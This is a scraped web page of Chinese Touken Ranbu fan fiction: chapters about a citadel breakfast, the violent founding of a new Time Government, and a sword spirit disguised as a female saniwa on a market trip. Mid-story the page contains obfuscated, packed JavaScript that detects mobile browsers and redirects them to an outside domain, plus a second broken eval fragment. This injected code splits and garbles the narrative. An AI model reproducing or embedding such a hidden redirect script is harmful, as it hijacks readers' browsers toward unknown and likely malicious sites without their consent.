祝染和鹤丸飞快地伸手掠过,把装药的玻璃瓶藏进了袖子里,继续死死低着脑袋,但不忘小幅度地胡乱点头表示收到。 一个是因为破相了不想露脸,一个是因为太丢人了不想面对嘲笑。 毕竟现在可是早餐时间,本丸的大家几乎都会齐聚在食堂,而其中被鹤丸国永恶作剧过的刃数不胜数,如果逮到能反击的机会他们绝对不会放过这个鹤丸。 “一期殿,请问这究竟是怎么回事呢?”眼看一期一振显然知情甚至可能是当事人,本台记者加州清光把两只手握拳上下交叠做出拿话筒的样子,凑到了一期一振嘴边。 “没什么,只是一些小意外而已。”一期一振看了一眼两个萎靡的雪球,选择体面地帮他们保留尊严,笑容温和地回避了问题。 “欸——说嘛说嘛……一期哥人家想听故事啦……”不知道什么时候来到食堂的桃濑灯里自然也看到两个混世小比今天反常的状态,也顺理成章地加入了战场。 她其实平时很喜欢对着付丧神们露出自己小女孩的本性,只是昨天发生的事情太突然,她必须要挑起大梁,所以才表现出了作为审神者严肃果敢的一面。 现在事情都处理地差不多了,自然是本性毕露。 “主殿……”一期一振面露无奈之色,言辞间还是有些犹豫。 但是一期一振是善良体面的大人,他的弟弟们可不是,小短刀们一看审神者对这件事情感兴趣就蹦蹦跳跳争先恐后全都挤了上来,七嘴八舌开起了故事分享会,但是因为全都一起说话所以很难听清楚。 “祝染殿……折纸……”隐隐约约有五虎退细细的嗓音被淹没在声浪中。 “祭奠!…….小判!”连乱藤四郎的声音都若隐若现只能听到一点。 “一期哥!追….墙!然后…..门!”包丁藤四郎的部分更是只能听清楚一期一振的名字。 桃濑灯里混乱地听着他们的讲述,说实话只能听清楚破碎的关键词,最后还是努力地听因为是胁差长得比较高、声音也比较清晰的鲶尾藤四郎的话,听明白了事情的来龙去脉。 昨天晚上食堂散会之后,祝染和鹤丸受小短刀们邀去粟田口的部屋做客和他们一起折纸玩。 博多想试试用纸折小判,结果祝染用纸折了很多用来祭奠逝者的金元宝,还教大家一起叠—— 回到部屋的一期一振就面对着弟弟们和一屋子的丧葬用品,大惊失色之下下意识提刀去追教坏弟弟们的混蛋,而鹤丸和祝染在逃跑的时候,鹤丸因为夜间视力不好出门撞到了墙,祝染因为跑太快、不知道鹤丸撞到了墙,以为对方会开门,结果撞到了门。 这两个刃说的居然是真话。 难得看鹤丸吃瘪的加州清光已经捧腹大笑笑倒在大和守安定身上,大和守安定也在忍俊不禁憋笑。 食堂一些性格比较爽朗的付丧神已经直接笑开了,祝染和鹤丸两个无地自容地要往山姥切国广的被单底下钻,引来了对方一阵激烈却徒劳的挣扎。 其实一期一振只是对弟弟们相关的问题有些敏感,反应虽然很大,但并没有真的生气。 昨晚他眼睁睁看着两刃一个撞墙一个撞门顶着头上两个大包落荒而逃,伸出去挽留的手和话语欲说还休。 最后还是靠谱的药研藤四郎拿出了跌倒药提议让兄长明天带过去再跟他们好好说一下。 山姥切国广一般吃饭的时候要么被桃濑灯里拉着一起坐,要么和兄弟山伏国广或者堀川国广外带一个和泉守兼定坐在一起,但是今天,他被钻在他被单底下的鹤丸国永和祝染胁迫了。 满堂欢笑声中,两个劫匪用手比出手枪的姿势抵住他的背,猫着腰躲在他被单下面,随着山姥切国广一起移动就座,一左一右把他夹在中间。 “低高低”的阵型从背面看起来就像起伏的富士山一样,加上白被单就是积雪的富士山。 山姥切国广更加心累,但是因为自闭又说不出什么抱怨的话。 饭前,近侍一期一振先宣布了一下今天付丧神们的工作安排—— 由博多藤四郎带队,短刀们继续去大阪城捞小判。 鹤丸在烛台切光忠的监督之下补上昨天的马当番。 昨天的公文小分队加一个山姥切国广继续帮桃濑灯里赶工作进度,经过一天的努力,比起昨天生死一线的危机感,现在工作量已经大大减轻了,桃濑灯里都有时间来食堂吃早饭了。 而祝染今天要做的事情,就是在压切长谷部的陪伴之下去万屋买自己的生活用品。 听到自己被踢出了公文小分队的压切长谷部猛然抬头,眼神中充满不可置信与委屈地看向桃濑灯里,紫色的眼睛里感情充沛很容易就能读懂,棕色的头发柔顺蓬松看起来像是被抛弃了的大型犬一样可怜巴巴。 桃濑灯里看在眼里,却只微微一笑,对于哄压切长谷部,她简直得心应手,她双手合十零帧起手: “长谷部,拜托你,这份工作真的只有你才能完成了,如果没有你的话我都不知道该怎么办。” 首先,要严正强调这不是流放而是更加重要的工作安排,是主人对他压切长谷部的信任和认可。 “祝染他第一次去万屋必须要有人看着,万一他乱买东西还跑丢了我们本丸就刃财两空了。”桃濑灯里也开始用可怜的眼神回望长谷部。 其次,要告诉长谷部他需要完成的工作,这是主人的嘱托。 完全无法拒绝主人的请求的压切长谷部已经开始动摇。 确实,他有责任保护本丸的财产安全。 “而且他还需要办成审神者去,你知道的,时政规定付丧神单独去万屋必须要登记,但是有审神者在的话就不需要了。” 最后,桃濑灯里晓之以理,她心里很清楚相对于压切长谷部的不情不愿,真正的难题在于别处: “他现在还是一个黑户,这件事情知道的人越少越好,不然执法队那边不好交代。” 桃濑灯里的担心非常有必要。 祝染的身份还没有真正在明面上公开之前,知道的人越多风险就越大,如果单独让他以“审神者”的身份去万屋,他表现出一点异样都会引来执法队的怀疑,所以乔装打扮和陪伴都是必不可少的。 看起来是闹剧,背后却牵扯到沉重的现实与规矩。 祝染现在在时政过了名在接受调查,时政默许他暂时留下不假,但不代表执法队也会接受本丸私自收留付丧神。 毕竟时之政府和执法队其实是完全不从属的关系。 众所周知,就像只有具有日本国籍的人才能竞选首相一样,时政最开始也是完全由人类主导建立的政府机关,也只有人类才能加入其中。 时政建立的目的是以保护历史为责任,与时间溯行军战斗,维护历史的稳定性。 然而时间溯行军何其残暴强大,和它们的战斗又何其危险,完全是以命相博,人类只有一条命,是无法承担这样沉重的代价的。 所以是时政求到了付丧神们签订契约。 最早的时政管理者们建立起相对完善的运行机制,与刀剑的付丧神们签订契约,将付丧神们的力量切割为分灵分散到审神者们的本丸,靠审神者的灵力来反哺本体。 纵观日本历史滚滚石流,刀剑作为杀伐的兵器被接连不断地锻造,或折戟沉沙或籍籍无名的刀剑如过江之鲫,但能成为付丧神的却数量寥寥无几,足见被召唤的条件相当苛刻。 分灵付丧神们靠的是靠审神者们的灵力维持人形不假,但是真正让他们的本灵显现、塑造他们性格和气质的,却是历史的打磨和轶闻,他们曾经都是历史的一部分,在人类的手中辅佐他们创造着历史。 它们受惠于历史和主人,所以现在才愿意为守护历史贡献出自己的力量。 也就是说,最开始的审神者们和付丧神,真的是因为共同的信仰而走到一起的、并肩作战的关系,就像小组合作一样,只是有指挥者和执行者的区别。 甚至付丧神们要更占主导,毕竟它们实打实地付出了战斗。 但是人类就是这样奇怪的生物,他们明明身体上脆弱不堪,但是却能够凭借大脑创造出无比绚烂的文明,能否制作工具是人和动物的区别,但使用工具并操控工具却是人类的本能。 他们逐渐掌握了与付丧神之间关系之间的主动权,成为了付丧神们的主人。 随着时间的流逝,时政的工作看似走上了正轨,日益壮大。 但是哪怕是正午的阳光之下也必定会有阴影,时之政府在人类的傲慢和贪婪之下迅速腐化了——他们对外把迫害的手伸向了付丧神们,对内也迅速排除着异己。 加上因为有灵力和天赋的、可以成为审神者的存在非常稀有,时政对他们也是非常重视,甚至到了纵容的程度,出现了很多“渣审”: 他们理所当然地把刀剑付丧神们视为自己的所有物,贪图它们的容貌、或者利用它们即使受伤能够被修好的特性满足自己内心阴暗的欲望,把本该用于战场上的它们肆意玩弄用来取乐,然后凭借审神者的稀少身份和人类同类之间的惺惺相惜,被时之政府的庇护着轻拿轻放,继续恶性循环。 无数的付丧神因为遭到了迫害而碎刀,一些选择了反抗的付丧神也因为违背了契约而暗堕。 好在不管是碎刀力量流失,还是暗堕力量被污染,在本灵们身上都会有所反应,本灵们及时察觉到了到它们心绪中隐秘的阵痛与挣扎。 最开始它们还维持着礼貌的态度,基于信任和时政进行沟通,希望时政能够早日解决问题。 但是早就已经尝到了统治的甜头的、当时的时政就像是一滩烂泥沼,只会用卑劣的手段来粉饰太平罢了。 完全有恃无恐,反正付丧神们已经跟他们签订了契约力量大大削弱,又能把他们怎么样。 傲慢是无知、偏见、狭隘、自大和自卑的结合。 而他们完全小看了刀剑付丧神,所以也想不到这些刀剑们会拼着接受神罚灰飞烟灭的风险也要背水一战。 刀剑是冰冷、锋利而正直的,与人类完全不同的存在。 它们生于烈火的淬炼灼烧,又怎么会怕在灼烧中再次回归虚无。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411474|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个微风和煦的午后,一直不问世事的本灵付丧神们穿着人类审神者们再熟悉不过的华美出阵服,就像是奔赴一场盛大的宴会一样,提着自己的本体以雷霆之势杀进时政本部开始了清洗,那一天时政血流成河,哀鸿遍地,是比时间战场还要恐怖的炼狱—— 如果人类没办法解决问题,那就用刀剑的方式来解决。 直到第二天太阳升起照在时政金碧辉煌的屋檐上,屠戮后幸存的人类们才感觉到身上升起了僵硬的暖意。 付丧神们留下了一些时政中还没有跟渣滓同流合污的、苦苦挣扎的人,在经过漫长的商谈过后,新的时之政府建立了。 现在,时政虽然还是以人类为主导,却制定了很多内部的苛刻制度和全新的规范秩序,与其说政府是掌控者,不如说政府是负罪前行的赎罪者。 虽然依旧只有人类审神者才能进入到时政当中工作,但是在招募审神者的时候也出现了更多其他物种的身影,人类占据主流,但妖怪精灵也不在少数。 现在的时政,会让从历史中招募的审神者们签订有限的合同,到期之后换约,从短期到长期逐渐递升,直到永久任职的终身合同。 而基于人类审神者们排除异己的前科,人类审神者们的合同期也是最短的,续约条件也是最苛刻的。 这就是新旧政府交替的故事,这段历史被刻在了时政办公楼广场中央的石碑上,是每一位审神者来到时政登记的时候都必须要学习的。 桃濑灯里自然也不例外,甚至当时带她去办理入职的是她的七舅姥爷,作为清洗的亲历者,七舅姥爷凝望石碑的眼神是她无法理解的复杂与沉重。 经过清洗之后的时政称得上焕然一新,但是渣审却没有像政府一样被一网打尽,大部分的被制裁,但也有一些听到风声逃回了现世,甚至有一些投靠了溯行军。 而他们的空缺需要被补上,被他们所抛弃的本丸的付丧神们需要安置。 在这当中,只有很少部分的本丸因为遭到的迫害还不深,选择了重新分配,政府会严格地把关为他们挑选适合的审神者。 也有一些直接心灰意冷选择了自行刀解回归本体。 剩下的绝大多数不愿意再相信人类、但也不打算回归的付丧神们,组成了最早的执法队。 这是本灵付丧神们与新政府协商,继续和新政府合作的条件之一。 建立付丧神执法队,介入对审神者的任职情况进行监督和评估,甚至会进行不定期的抽查与测试,如果审神者不合格会面临本丸降级甚至提前解约。 执法队和像山姥切长义、水心子正秀之类的政府刀们是完全不同的体系,是完全由无主付丧神们组成的自卫与监督组织。 而政府刀制度是新旧政府都延续实行的。 旧的时之政府时期,就会吸收一些能力出色的付丧神作为政府刀进入政府当中工作,但只是把它们当作是更好用的工具。 而政府刀们在腐烂的掌权者的操纵之下,只能被逼着对同类们的痛苦视而不见,甚至挥刀向对,它们的内心也承受着巨大的压力与煎熬。 所以在面对本灵们的清洗行动时,它们默契地选择了视而不见甚至默认放行。 新的时之政府放宽了政府刀的招募范围,增加了更多的岗位,不再只限定原有的几振固定的付丧神,而是所有的付丧神只要有意向、审神者也同意,就可以进入政府任职,作为公务员享受时政的津贴。 虽然现在的制度之下,时政的政府刀们不参与管理性事务,而只负责实际的执行,就像是西方文官制度一样。 但有一个岗位例外,就是政府刀们能够坐到的最高的岗位,像山姥切长义、南泉一文字这样能够主导一个特命调查的监察官。 除了偶尔带队前往历史节点稀少的特命调查之外,他们还有别的职能—— 监察官们会对时政的审神者们乃至时政内部的管理官们进行监察,然后交给执法队进行检查调查。 如果有严重问题的话,会直接上报给本灵们组成的议庭进行处理。 本灵们虽然现在都很养老,但是它们绝不会再次容忍人类的冒犯与恶意。 这是完全把人类排除在外的、针对政府的新监察体系。 所以说,如果想给政府找不痛快,最便捷的方式就是加入执法队。 但如果想把政府完全洗刷一遍,还是要成为监察官。 综上所述,在现在的新政府时期,执法队就像是校园里的学生组织里掌握着查寝大权的学姐一样权威,没有审神者会想去触它们的霉头。 它们负责从审神者手中保卫付丧神们的刃权,也同时也不会只偏袒一方,同时也会对付丧神们的行为进行监督,毕竟监督也是一种保护。 而自己前往万屋的付丧神,就需要被执法队进行登记——为了防止出现付丧神走失流浪,或者走投无路选择逃离却没能被及时处理的情况。 只有跟审神者在一起的付丧神才不需要登记。 祝染作为时政调查当中,但是执法队还不知道的付丧神,怎么看都很危险,为了不让他引起注意,他需要假扮成一名审神者,在近侍的陪同之下前往。 而为了能够更好的混淆执法队的视线,让祝染扮演女性审神者会更加安全。 毕竟,没有女审神者会是刀剑男士。 明明只作为大学生和审神者的本职工作就很忙了,还要对时政复杂敏感的制度和派系有所洞察和规避,桃濑灯里觉得自己真是心衰力竭,她疲惫地揉了揉太阳穴,抬眼去看食堂现状: 现在压切长谷部被完全说服了,沉浸在主人对他的肯定的喜悦当中,恍惚之下他甚至开始樱吹雪。 淡粉色的樱花花瓣洋洋洒洒从他的头顶飘下,负责打扫食堂的歌仙兼定带着怨念的凝视也如影随形。 而祝染似乎还沉浸在羞耻的情绪中,还在把脸埋低沉默地扒着饭,完全没意识到自己成为了桃濑灯里现在的重点保护对象。 10.七舅姥爷这里有新婚怨侣 简明扼要地给祝染交代了一下去万屋的注意事项和执法队的性质,桃濑灯里就掏出了自己连夜准备的东西敦促对方赶紧去换装——包得严严实实的纸袋里,静静地躺着一条黑色的长裙。 隐隐可以看见薄纱、半透明蕾丝等颇具诱惑的元素。 围观的付丧神们垫着脚看到后,都不约而同地哇出声来,尤其是喜欢人妻的包丁藤四郎最为激动,这条裙子的风格完全是他的审美狙击。 桃濑灯里性格活泼,人长得也是甜美可爱的类型。 一头时兴的巧克力棕的高层次妹妹头配上齐刘海、小圆脸,杏眼桃腮,虽然身高有足足168,在日本女生中算得上鹤立鸡群,但也还是跟优雅知性、甚至性感成熟之类的词可以说是完全搭不上边。 她平时也很有自知之明,穿衣风格一直往青春元气的风格靠拢。 而袋子里这条黑色的、风格怎么看都和她气质大相径庭的长裙,是她成年礼的时候亲戚家赠礼的产物。 设计华美,价格昂贵,挂在商场的人形展台上熠熠生辉,吸引着每一个女生进去为它买单。 桃濑的姨妈就是它的受害人,只因为多看了一眼就被诱惑着付款,还一边买一边安慰自己可以送给外甥女。 但桃濑灯里也只试穿了一次,就因为效果看起来太割裂了,像是女高中生偷穿妈妈衣服一样,之后就一直把这条裙子束之高阁,昨晚连夜回现世的柜子里翻箱倒柜才找了出来。 姨妈,你还是太高看我了。 和漂亮裙子有缘无份的桃濑灯里内心泪流满面,目光凄凉地目送祝染抱着纸袋去隔壁的部屋换装,几把平常对爱美颇有心得的刀剑和鹤丸也跟着一起去帮忙。 当然,加州清光、乱藤四郎是真的去帮忙,鹤丸国永能不帮倒忙就很好了。 片刻之后,已经完全恢复精神的鹤丸国永顶着头顶的跌打药痕迹率先堂堂登场,他一扫早上的郁闷,露出了大家都很熟悉的,只有筹划了惊天恶作剧才会出现的骄傲得意的神情。 如果生活没有惊喜的话,心就会先一步死掉。这是鹤丸国永的刃生信条。 而能被鹤丸国永当作惊喜的,对别人的心脏大概率不好。 能这么满意的,那简直是要一级警戒心脏病发作了。 众刃和桃濑灯里不约而同地提高了心理防线,屏息凝神莫名有些紧张,眼神直直盯着门口。 在众目睽睽之下,鹤丸国永站在食堂门口昂首挺胸地拍了拍手,旋即着把右手递了出去凌空悬浮着,手心向上、似乎是在等待着谁的出现。 紧接着,一只同样雪白修长的、指尖还涂着嫩粉色美甲的手搭上了他冷白的手。 那人身上一袭缎面的黑色长裙,裙摆轻盈地随风浮动,裙脚处层叠的薄纱就像夜色中开出的幽花,下摆边缘也点缀着细细的蕾丝,对桃濑灯里来说到脚踝的长度,对他刚好垂落到小腿,花边之下若隐若现地勾勒出腿部纤细的线条。 他甚至穿了配套的黑色高跟鞋,本来就高挑的身材现在在鞋跟的加持之下已经可以傲视群雄。 祝染身上已经换好了桃濑灯里给他的裙子,对于桃濑来说过于刚刚好的裙子对他来说其实有些紧绷,但好在他的身形属于纤细的少年款,肌肉也不是像本丸一些追求力量的付丧神一样特别发达,刚刚好卡在一个流畅自然、赏心悦目的范围,也勉强地塞了进去。 裙子是上下一体的连片剪裁,下身做了放量很大的裙摆,上身却端庄地收束起来,小腹平坦加上收腰的设计、衬得腰身格外纤细柔软,袖子处同样采用了黑纱与蕾丝的拼接,做成了灯笼袖能很好地掩盖手臂的肌肉线条,纤细雪白的手腕在黑纱的衬托之下白到曝光,出自本丸指甲油收藏大师兼首席助理人加州清光的、涂着粉色指甲油的手指像樱花一样娇嫩。 因为祝染誓死拒绝顶着跌打药出门见人,但也拒绝头上的包暴露出来,乱藤四郎和加州清光还特意给他做了发型——洁白的发丝做成一次性的卷发,半扎不扎松散地梳成公主头,自然地垂落在背后。 利用头发做蓬松的效果挡住了额前的包,鬓角前几缕发丝弯弯绕绕地散落在脸颊边,像是随意的装饰,又像是别出心裁般衬出几分慵懒。 乱藤四郎还忍痛割爱地在他侧鬓上别了自己最喜欢的发饰——一枚小巧精致的,由黑色蕾丝和白色珍珠构成的发卡。 点缀在祝染光泽顺滑的卷发间,如同白夜中的黑色流星。 他妆容清浅,却更衬出了眉眼中的冷淡与绮丽,黑与白极致的碰撞,就像深夜从昙花中走出的精怪般飘渺美丽。 一瞬间,整座食堂鸦雀无声,所有刀剑都愣住了,小短刀们甚至放轻了呼吸的幅度,似乎是怕惊扰了眼前的神仙妃子。 他的美丽极富冲击力,唯一的缺点大概是胸前一片平坦。 然而气氛只维持了三秒,就被祝染自己打破。 “姬君——当女生也太难了,这个鞋子好晃人家走不了路啦——!”祝染飞快地撒开鹤丸,神色鲜活地边撇嘴抱怨边地朝桃濑灯里扑去,脚上踩着细细的高跟鞋果不其然重心不稳在平地上自己绊住自己,整个刃不受控制地向前倾倒,还是猛地抓住了压切长谷部的手臂才摇摇晃晃地稳住,然后—— 把压切长谷部带着一起狼狈摔倒。 根据杠杆定理,现在的祝染在杠杆足够长的情况之下,只需要更小的力就可以撬动地球。 桃濑灯里眼看着压切长谷部下意识挡在自己面前,然后成为祝染的受害者,怀着感激、愧疚与庆幸地心情赶紧上前扶他们。 “知道了知道了,我会给你换双鞋的。”她赶紧接过话题,刻意偏开头假装没看到压切长谷部因为被她扶起所以闪闪发亮的眼睛,和面对祝染愤怒的眼神。 小狗能知道什么,小狗只知道主人好,祝染坏。 这么看来,祝染简直是压切长谷部的克星啊,把他们两个放到一起真的没问题吗。 做出这个安排的始作俑者桃濑灯里莫名有些心虚。 长谷部,你受苦了。 现在进行时,以及现在进行未来时。 祝染也在加州清光和乱藤四郎的帮助下一瘸一拐地再次离场去换鞋子。 “清光清光,谁是今天万屋最漂亮的审神者呢?” 未见其人,先闻其声。 食堂门外,祝染刻意地把嗓音提高又把语气放柔学着女性的音调,但可能是因为提太高了,声带没法适应,所以听上去有些虚浮,下一秒就要断气一样。 “当然是染染大人啦!”鹤丸已经回到了旁观的队伍里,让出了食堂的大门,加州清光和乱藤四郎一左一右先行出场,声音清脆地回复道。 “哎呀——”换了平底皮鞋的祝染步伐轻快地甩着裙摆走了进来,他抬手半遮着唇角,眼睛弯成一弯狡黠的月牙,这次稍微降低了一点嗓音,声音清朗还真有点像女生了:“那人家就不客气地笑纳了。” 他现在健步如飞,甚至还专门走到压切长谷的面前转了一个圈,裙脚的薄纱随动作荡开,像夜色中散落的黑玫瑰。 那副洋洋自得的神情,简直把这件原本是清楚系的端庄的裙子,活生生穿出了点带刺的风情。 一直在挑衅我。 压切长谷部咬牙切齿,本来已经被说服的压切长谷部再一次出现了动摇。 看着祝染像孔雀开屏一样穿着主殿的衣服花枝招展,他站在一旁,表情已经黑到能滴出墨来。 祝染呢?他继续保持得意,抬手轻轻掀了下鬓角的卷发,冲所有人俏皮地眨眨眼:“怎么样?是不是很适合我?不愧是我的美貌,什么衣服都撑得起来。” 没能撑起这件衣服的桃濑灯里莫名中枪。 短刀们很给面子地围了上去,叽叽喳喳地夸着祝染给足了他排面。 今剑也凑了过去,而三日月宗近只是笑盈盈地看着,眼睛也眯成了一条弯月:“哈哈哈,年轻真好啊。” 十世纪的老登夸十二世纪的小登年轻,还真是一百步笑九十九。 本丸真正年轻的付丧神们神色诡异地看着三日月。 “……主殿,真的非得由在下陪同吗?”站在桃濑灯里的旁边,压切长谷部有些委屈地低声抗议,语气克制但是神情挣扎。 “当然!”很难说祝染的听力为什么会这么敏锐,被短刀们包围着还能精准地捕捉压切长谷部的不满,他从簇拥中转过身,抬起下巴神色骄横地装模作样: “你不是最会护主的刃吗?今天就要拿出你对‘主殿’的忠诚——不过记住,我才是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“演戏要全套啊,长谷部大人,还是你在自卑?没关系没关系~大胆说出来就好,毕竟配像我这么漂亮还善解人意的审神者会自卑也是正常的。” “绝无此种可能!”压切长谷部脸色彻底乌黑,多云转黑云压城城欲摧,他声音陡然拔高,刃争一口气,凭借着顽强的意志力硬生生的伸出手臂,姿态僵硬得像木偶一般。 心理素质似乎好得出奇的祝染达成了他的目的,一边不顾形象地笑得跟偷到鸡的黄鼠狼一样,一边迅速且理直气壮挽上去,好像生怕压切长谷部后悔抽回一样,力气也巨大。 众刃和桃濑灯里明显看到压切长谷部吸了一口凉气。 完全是劫匪在挟持刃质的做派。 祝染浑然不觉或者说不甚在意地抬眼,先朝周围的付丧神们们环视了一圈,然后将目光锁定桃濑灯里,摆出一副泫然欲泣依依惜别的模样:“姬君,真的就把我交给他了吗。” 用了0秒钟就get到了祝染在演什么的桃濑灯里迅速接戏,她故作严肃地清清嗓子: “长谷部,今天我就把女儿……不对、是祝染,交给你了,你一定要好好待他。” 其实看情况,这话应该叮嘱祝染才对,压切长谷部完全被他玩弄于股掌之中,但是不管了,气氛渲染到哪就演到哪。 “噗——”同样脑子转得很快,马上就理解了这是哪一出的鹤丸国永当场笑倒在地,雪白的一团抽搐着边笑边拍地板,将食堂的地板拍得砰砰作响: “哈哈哈!长谷部你也有今天!” 最渴望主殿关注的人被当成是主殿托付女儿的野小子,多年主从关系终成新郎和老丈人。 加州清光憋笑扶额,一副“我受够了”的表情。 而小短刀们还在后面起哄:“长谷部哥哥加油!要保护新娘!” 长谷部咬牙切齿,声音沉得能压塌天花板:“我才不会和这家伙结婚,这只是——任、务、需、要。” 但无论怎么解释,他此刻挽着祝染、满脸委屈又不得不遵从命令的模样,已经彻底被刻进了所有刃的笑料簿里。 被包办婚姻的压切长谷部绝望地带着祝染走到了本丸的大门口,身后跟着尾随送行但其实还在看笑话的一群尾巴。 微风和煦,在迈出脚的前一刻,压切长谷部又一次把眼神递向了桃濑灯里,像是要从她那里汲取力量。 而桃濑灯里也及时地从玩笑中抽身,深深地凝望着他,给予他一个肯定的眼神。 加油,长谷部。 还有,再怎么被挑衅也一定要把祝染完整带回来啊,不要祝染碎片啊。 桃濑灯里忧心忡忡。 11.七舅姥爷这里有小白脸 为了方便生活与促进消费,时政专门把出行频率很高的几个地点:时政广场、万屋和本丸们间的时空坐标连接了起来,所有的本丸只需要从大门出去步行几分钟就可以到达万屋,既避免了时空隧道在人流量高的时候跃迁的不稳定性,还极大地提高了本丸大门的利用率。 毕竟大家之前一直用时空穿梭器出阵,本丸大门形同虚设,而时政统一的外观修得那么豪华,闲置就是浪费。 从本丸一路走到万屋附近的街道,祝染依旧乐在其中地沉浸在“傲慢的大小姐审神者”的人设里,没了桃濑灯里做缓冲带,为了自己的刃身安全,他也不想在路上再额外挑衅压切长谷部,出门没多久就撒开了抱住压切长谷部臂弯的手。 此时他走起路来昂首挺胸,步伐轻快,裙摆也轻轻地摇曳,看起来美轮美奂,但速度却不容小觑地快。 如果桃濑灯里在这里的话,一定会忍不住感叹一句祝染的机动看来很高啊,说不定能跑过高速枪呢。 一生在意数值、一生害怕枪爹的铁血审神者就这样。 压切长谷部依旧满脸阴沉,心中万分不愿却不得不配合,只能始终保持着半步落后,恭恭敬敬跟在身侧。 走到一半遇到岔路还得快走几步提前告诉祝染往哪边走,盯紧他不要走丢。 就连生气都这么没有尊严,遛祝染这种刃中比格简直是一份高难度的工作,某一个瞬间压切长谷部是真的想带他一起321跳。 “步子迈大点,你走太慢了。”眼看快要到了万屋的地界,祝染突然停下脚步,作势骄纵地抬手抱臂,还轻轻甩了甩裙摆,像是在表达不满,但用的还是他本音。 估计是戏瘾犯了提前装一下。 压切长谷部嘴角抽了抽,调整表情忍气吞声恢复:“……是,主殿。” 他感觉自己忍耐了一路,其实他更才像是被拴着走的牵犬。 万屋不愧是时政重点发展的核心地带,辐射带动作用极强。 越是靠近,周围的街市也越明显得热闹起来,商品琳琅满目的商业像画卷一样接连出现在眼前,让人应接不暇。 经过数十年的发展,新的万屋已经不是具体的购物店,而是一整条繁荣的商业街,既有成型的店铺紧凑地排列,也有街边的商贩支起摊位,甚至会有付丧神在路边空隙处铺上布席地而坐摆摊买些零碎的小东西。 商贩们的吆喝声此起彼伏,审神者们和付丧神们也人头攒动三三两两穿梭其间。 祝染站在入口处眯起眼睛巡视了一圈,像是观察到了什么一样,嘴角迅速地勾起一抹干劲满满的弧度,好像真的把自己当成了来商场血拼的高高在上的大小姐,抬手随意地朝着一个商铺一指,刻意夹起来的嗓音柔柔却很坚定:“我要去那边看看。” 看他突然进入状态,一直保持警惕的压切长谷部心里“咯噔”一声——他知道,真正的麻烦要开始了。 就像每一振压切长谷部习惯的遵从主命的动作一样,他一边表面上恭顺地低头抬手表示遵命,一边用发丝挡住表情、眼睛余光瞥向祝染刚刚注目的方向。 果不其然,从万屋的街道中,两个身着黑色的执法队制服的付丧神迎面走来,他们一高一低,神情却同样带着公事公办的冷峻,似乎在做例行检查。 是一振药研藤四郎和一振三日月宗近,而且两个都看起来和普通的付丧神不太一样。 众所周知,露肤度很高的小短裤是短刀们的标配,无数女性审神者在面对小短刀们的腿都自惭形秽,还有一些比较豪放抽象的审神者会直接抱住短刀们的腿,然后在一期一振谴责变态的目光中一边接受内心道德的拷问一边坚决不撒手。 但这振药研藤四郎长袖长裤,用制服将自己包裹地严严实实,哪怕是上衣的拉链都拉到了最高—— 但压切长谷部还是凭借身高仰视和他走路的衣服摆动看到了他脖子上若隐若现的红色斑痕。 三日月宗近看起来跟普通的三日月一样,神情和蔼、喜欢眯起他深蓝色的眼睛,眼中金色的弦月在长睫的遮掩下若隐若现,但完全无法忽视他白皙的额头处长着一根泛着不详血光的骨刺,这居然是一振半暗堕的三日月。 现在时政的技术虽然不能扭转或者根除暗堕,但是控制还是能做到的,而这些暗堕刀同样是受害者,需要有刃权,在确定了危险程度可控的前提下,是可以自由决定自己的去处的。 坏了,怎么偏偏是他们两个。 压切长谷部的背脊瞬间绷紧,脑海中甚至能听见自己呼吸的声音。 旧政府简直是千疮百孔,遗留问题也特别的严重,其中最让人头痛的就是付丧神们的收容安置问题和暗堕付丧神问题。 在新政府成立后统计有加入执法队意向的付丧神的时候,不仅数量出乎意料地庞大让人大跌眼镜,刀剑的种类和派别也惊人得全面,短胁打太、大太薙枪,从三条到长船,简直是无恶不作,光是因为遭到审神者的迫害而成为执法队的成员的,就能凑出一套很多审神者们都做不到的全刀帐。 事实证明,在内心扭曲的人看来,哪怕是稀有的五花太刀,也不过是可以折磨的玩具。 而这些好不容易摆脱阴霾站在阳光下的付丧神们,也终究会留下或多或少的心理问题。 执法队对审神者表面友好但背后冷漠早已经是时政司空见惯的小问题,而看起来受害越严重的付丧神往往对人类恨意越深,甚至会凭借执法自由权进行刻意刁难。 但偏偏他们还不归政府直辖,只要不闹出特别大的事情像是当街见血之类的,连投诉都不会被处理。 压切长谷部表面上依旧一派镇定地面带危险,但藏在手套之中的手却隐隐渗出了汗,他正打算上前一步替祝染挡一下,却被药研藤四郎随之而来的冰冷目光钉在了原地。 冰冷刺骨,带着审视与警告的意味。 然而就在这样的天崩开局之下,祝染却突然笑了,笑容明艳而狡黠,他像一位真正的审神者那样,轻轻地抬起下巴,语气甜得发腻: “呀,两位早上好,工作辛苦啦。” 像是一位不谙世事的天真大小姐。 那一瞬间,压切长谷部几乎能听见自己牙齿磨出的“咯吱”声——这位完全经不起细查的黑户“假主殿”居然拿起了腔调打算主导着演下去。 而出乎意料的是,在他开口之后,药研藤四郎和三日月宗近的态度居然也没有抗拒,颇有礼貌地向他点头致意,随着他们姿态的放松,气氛明显地软化了,刚刚的剑拔弩张瞬间被化解。 三日月宗近还笑盈盈地回应了他的问好: “姬君早上好。” “请问姬君的审神者代号是什么,此次来万屋预计停留多久?旁边的这位压切长谷部是您的近侍吗?”药研藤四郎依旧一副例行公事的模样,问题单刀直入。 好在时政规定了不能过度盘问审神者的隐私,所以执法队们在例行闻讯的时候,也不会去问来自哪个本丸,除非是真的发现了有问题控制之后才会深入盘查。 而随着时政的扩招,审神者代号虽然依旧重要,但是重名和抽象昵称的情况也屡见不鲜,随便编一个就行。 压切长谷部松了一口气,立刻挺直腰板,忠实地履行着他“连走路都想帮主人省略掉”的主控刀的刃设,正要开口回复,却被祝染抢先。 